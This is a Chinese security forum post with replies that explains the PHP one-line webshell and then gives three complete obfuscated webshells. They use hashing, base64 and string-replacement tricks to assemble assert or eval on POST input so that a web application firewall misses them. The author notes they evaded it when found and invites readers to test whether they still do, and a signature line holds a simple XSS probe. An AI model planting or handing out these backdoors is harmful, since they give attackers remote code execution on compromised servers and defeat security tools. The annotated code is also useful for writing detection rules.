用户
搜索
  • TA的每日心情
    开心
    2017-9-26 14:01
  • 签到天数: 6 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    尊师坏蛋

    Rank: 7Rank: 7Rank: 7

    44

    主题

    193

    帖子

    879

    魔法币
    收听
    0
    粉丝
    36
    注册时间
    2015-12-3

    春秋巡逻i春秋签约作者积极活跃奖春秋游侠

    发表于 2017-1-10 13:59:59 53832
    1.一句话的工作原理
    首先我们看一下就常见的一句话。
    <?php @eval($_POST[‘pass’])?>
    单从php语法上理解,首先$_POST会获取post到服务器的参数名为pass的数据,然后eval会将$_POST获取的字符串按照php语法进行解析,这样我们通过各种php函数的组合使用就能通过中国菜刀等工具对服务器的文件进行操作,这也就是常见一句话的工作原理。

    文章http://bbs.ichunqiu.com/thread-17816-1-1.html对一句话的工作原理进行了深入分析,今天我们的重点不是一句话的原理,所以不做重点介绍。

    2.过狗一句话
    下面我将分析三个在学习工作中遇到的混淆过狗马,其思路大致相同。

    过狗马1:通过加密字符串,并截取字符串中的指定字符拼接关键字。
    [PHP] 纯文本查看 复制代码
    <?php
      $csawa=substr(hash("md5","woshiA", false),-5,1);
            //分解步骤
            //$csawa=substr(‘219be7b7544871c82a8a769169aavb58’,-5,1);  //hash函数执行完毕后
            //$csawa=’a’;  //substr函数执行完毕后,得到字符串a
            //hash函数对字符串woshiA进行md5加密,然后subsrt函数获取加密后字符串,从倒数第五个字符开始,获取一个得到a。
      $sgdas=substr(base64_decode("d29zaGlzYQ=="),-2,1);
            //分解步骤
            //$sgdas=substr(‘woshisa’,-2,1);   //base64_decode函数执行完毕后
            //$sgdas=‘s’;   //substr函数执行完毕后,得到字符串s
            //base64_decode对字符串d29zaGlzYQ==进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s
      $sasds=substr(base64_decode("d29zaGlzYTI="),-3,1);
      //分解步骤
      //$sasds=substr('woshisa2',-3,1); //base64_decode函数执行完毕后
      //$sasds='s';   //substr函数执行完毕后,得到字符串s
            //base64_decode对字符串d29zaGlzYTI=进行base64的解密,得到解密后的字符串以后,从倒数第二个字符开始获取一个字符,得到s
      $saswe=substr(hash("md5","woshie", false),-3,1);
      //分解步骤
      //$saswe=substr('ab4660f0d04e6a1b1891ed85cc038e08',-3,1)  //hash函数执行完毕后
      //$saswe='e'  //substr函数执行完毕后,得到字符串e
      //hash函数对字符串woshie进行md5加密,然后subsrt函数获取加密后字符串,从倒数第三个字符开始,获取一个得到e。
      $udkar=substr(base64_decode("d29zaGly"),-1,1);
      //分解步骤
            //$udkar=substr(‘woshir’,-1,1);   //base64_decode函数执行完毕后
            //$udkar=‘r’;   //substr函数执行完毕后,得到字符串r
            //base64_decode对字符串d29zaGly进行base64的解密,得到解密后的字符串以后,从倒数第一个字符开始获取一个字符,得到r
      $aefft=substr(base64_decode("d29zaGl0YWFz"),-4,1);
      //分解步骤
            //$aefft=substr(‘woshitaas’,-4,1);   //base64_decode函数执行完毕后
            //$aefft=‘t’;   //substr函数执行完毕后,得到字符串t
            //base64_decode对字符串d29zaGl0YWFz进行base64的解密,得到解密后的字符串以后,从倒数第四个字符开始获取一个字符,得到t
      $ckt=$csawa.$sgdas.$sasds.$saswe.$udkar.$aefft;
      //分解步骤
      //$ckt='a'.'s'.'s'.'e'.'r'.'t'
      //$ckt='assert';
      //通过拼接字符串得到函数assert
      $ckt($_POST['cmd']);
      //分解步骤
      //assert($_POST['cmd']);
    ?>
    


    过狗马2:通过在函数中混入随机字符躲避关键字扫描

    [PHP] 纯文本查看 复制代码
    <?php
    $mt="mFsKCleRfU";
    $ojj="IEBleldle"; 
    $hsa="E9TVFsnd2VuJ10p"; 
    $fnx="Ow=="; 
    $zk = str_replace("d","","sdtdrd_redpdldadcde"); 
    //字符串替换:替换sdtdrd_redpdldadcde里的d为空  得到函数str_replace
    $ef = $zk("z", "", "zbazsze64_zdzeczodze");          
    //调用$zk 字符串替换:替换zbazsze64_zdzeczodze里的z为空  得到base64_decode
    $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
    //调用$zk 字符串替换:替换pcprpepaptpe_fpupnpcptpipopn里的z为空   得到create_function创建匿名函数
    $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx)));
    //分解步骤 
    //$zvm=create_function(base64_decode(str_replace("le","","IEBleldlemFsKCleRfUE9TVFsnd2VuJ10pOw==")))  //拼接后的语句
    //$zvm=create_function(base64_decode(IEBldmFsKCRfUE9TVFsnd2VuJ10pOw==)))   //执行完str_replace函数后,返回base64加密后的字符串
    //$zvm=create_function(@eval($_POST['wen']));   //执行完base64_decode 得到解密后的字符串 得到一句话木马 密码是wen
    $zvm();  //执行
    ?>
    


    过狗马3:类似于第二个,不做过多分析

    [PHP] 纯文本查看 复制代码
    <?php
    $uf="snd2Fqd";
    $ka="IEBldmFsK";
    $pjt="CRfUE9TVF";
    $vbl = str_replace("ti","","tistittirti_rtietipltiatice");  //空格替换ti str_replace
    $iqw="WVqaSddKTs=";
    $bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");     //空格替换k base64_decode  (base64加密)
    $sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");   //空格替换ctw create_function
    $mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw)));
    //$mpy =create_function('', base64_decode(str_replace("b", "",'IEBldmFsKCRfUE9TVFsnd2FqdWVqaSddKTs=')))
    //$mpy= @eval($_POST['wajueji']);
    $mpy();
    ?>
    
    以上三个马在发现时均能躲过xx狗,现在行不行请自行测试。

    本帖被以下淘专辑推荐:

    不可告人的秘密:ixuehua.blog.163.com


    -
    <script>alert(/xxx/)<script>
    发表于 2017-1-12 09:26:01
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    奖金点评
    50逻辑清晰,对细节解释的很到位,加油

    Hacking the earth
    使用道具 举报 回复
    发表于 2017-1-10 16:08:03
    厉害厉害 道高一丈 魔高一丈
    使用道具 举报 回复
    之前遇到一种再图片中混淆一句话也是可以过狗的
    使用道具 举报 回复
    发表于 2017-1-16 16:08:52
    佩服佩服 学习思路了
    使用道具 举报 回复
    发表于 2017-1-18 15:24:05
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册